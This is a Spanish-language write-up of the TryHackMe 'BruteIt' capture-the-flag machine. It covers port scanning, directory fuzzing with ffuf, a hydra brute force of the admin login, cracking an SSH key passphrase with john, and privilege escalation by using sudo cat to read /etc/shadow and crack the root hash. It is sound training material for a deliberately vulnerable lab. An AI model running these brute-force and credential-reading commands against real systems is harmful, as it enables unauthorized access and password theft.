⟁ HXA πŸ‡¬πŸ‡§ EN
β”Œβ”€[ BruteIt ]────────────────────────────────────────────────────────────────────────────────────────
β”‚ user: Alejandro Lopez Aguilar
β”” path: /writeups/tryhackme/bruteit/
Recurso externo: abrir recurso

:: πŸ”Ž Reconocimiento

Antes de comenzar vamos a realizar un ping para ver si hay conectividad con la mΓ‘quina
β”Œβ”€[ c ]─────────────────────────────────────────────────────────────────────────────────────────────
ping -c1 10.10.184.26
└───────────────────────────────────────────────────────────────────────────────────────────────────
Al tener conectividad podemos comenzar con el escaneo de puertos

Para esta mΓ‘quina vamos a usar las siguientes flags:
~ `-p-`: Escanea todos los puertos (del 1 al 65535)
~ `-sS`: Realiza un escaneo SYN, que es una tΓ©cnica de escaneo rΓ‘pida y sigilosa
~ `-Pn`: Indica a nmap que no haga un ping previo para verificar si el host estΓ‘ vivo
~ `-n`: No resuelve nombres DNS, lo que acelera el escaneo
~ `--min-rate 5000`: Establece una tasa mΓ­nima de envΓ­o de paquetes a 5000 paquetes por segundo
~ `--open`: Muestra solo los puertos que estΓ‘n abiertos

`-sCV`: Combina dos flags:

~ `-sC`: Ejecuta scripts NSE (Nmap Scripting Engine)
~ `-sV`: Intenta detectar las versiones de los servicios que estΓ‘n corriendo en los puertos abiertos

Podemos ver que estan abiertos los puertos 22,80
Al ver que el puerto 80 estΓ‘ abierto podemos echar un vistazo a la pΓ‘gina web, previamente veremos 
que tecnologΓ­as esta usando la web, con el comando whatweb
β”Œβ”€[ clike ]─────────────────────────────────────────────────────────────────────────────────────────
whatweb 10.10.184.26
└───────────────────────────────────────────────────────────────────────────────────────────────────
SegΓΊn los resultados es una pΓ‘gina Apache Default, por lo que al no tener mucho que hacer podemos 
probar a fuzzear la pΓ‘gina para ello usaremos la herramienta ffuf

:: πŸ”Ž Fuzzing

Con el siguiente comando podemos fuzear todos los directorios de la pΓ‘gina
β”Œβ”€[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
ffuf -u http://10.10.184.26/FUZZ -w ~/wordlists/directory-list-2.3-small.txt -c -t 200
└───────────────────────────────────────────────────────────────────────────────────────────────────
Encontramos una pΓ‘gina admin, vamos a esta ruta
Encontramos una pΓ‘gina con un formulario de login, podemos probar credenciales por defecto

Al ver el coΓ³digo fuente de la pΓ‘gina nos dan el usuario (admin)
admin:admin[^1] admin:guest admin:12345678

Sin embargo, estas credenciales dan error y no nos permiten acceder, podemos seguir fuzzeando o 
realizar un ataque de fuerza bruta con un diccionario de contraseΓ±as , para ello voy a usar hydra

:: πŸ” Fuerza Bruta
β”Œβ”€[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
hydra -l admin -P ~/wordlists/rockyou.txt 10.10.46.68 http-post-form '/admin/:user=^USER^&pass=^PASS^:Username or password invalid' -I
└───────────────────────────────────────────────────────────────────────────────────────────────────
Podemos acceder con admin:xavier

Una vez dentro descargamos la clave privada e intentaremos crackearla con john

:: πŸ” Cracking con John

Tenemos que convertir la clave rsa a un formato que pueda entender john
β”Œβ”€[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
ssh2john id_rsa > john.hash
└───────────────────────────────────────────────────────────────────────────────────────────────────
β”Œβ”€[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
john --wordlist=~/wordlists/rockyou.txt john.hash
└───────────────────────────────────────────────────────────────────────────────────────────────────
La contraseΓ±a es rockinroll

Nos conectamos por ssh ahora usando la clave id_rsa

:: ⚑ Escalada de privilegios

Con el usuario admin no nos admite esa contraseΓ±a, recordando antes en la web el administrador nos 
dejΓ³ un mensaje con el nombre john
Una vez dentro, comprobamos los permisos que puede ejecutar john como sudo
Visitando la web de <https://gtfobins.github.io/gtfobins/cat/#sudo> nos proporciona comandos para 
poder escalar privilegios
β”Œβ”€[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
LFILE=file_to_read
sudo cat "$LFILE"

LFILE=/etc/shadow
sudo cat "$LFILE"
└───────────────────────────────────────────────────────────────────────────────────────────────────
Esto nos arroja el hash del usuario root, que podemos intentar crackear con john
β”Œβ”€[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
john --wordlist=~/wordlists/rockyou.txt --format=sha512crypt hash
└───────────────────────────────────────────────────────────────────────────────────────────────────
[^1]: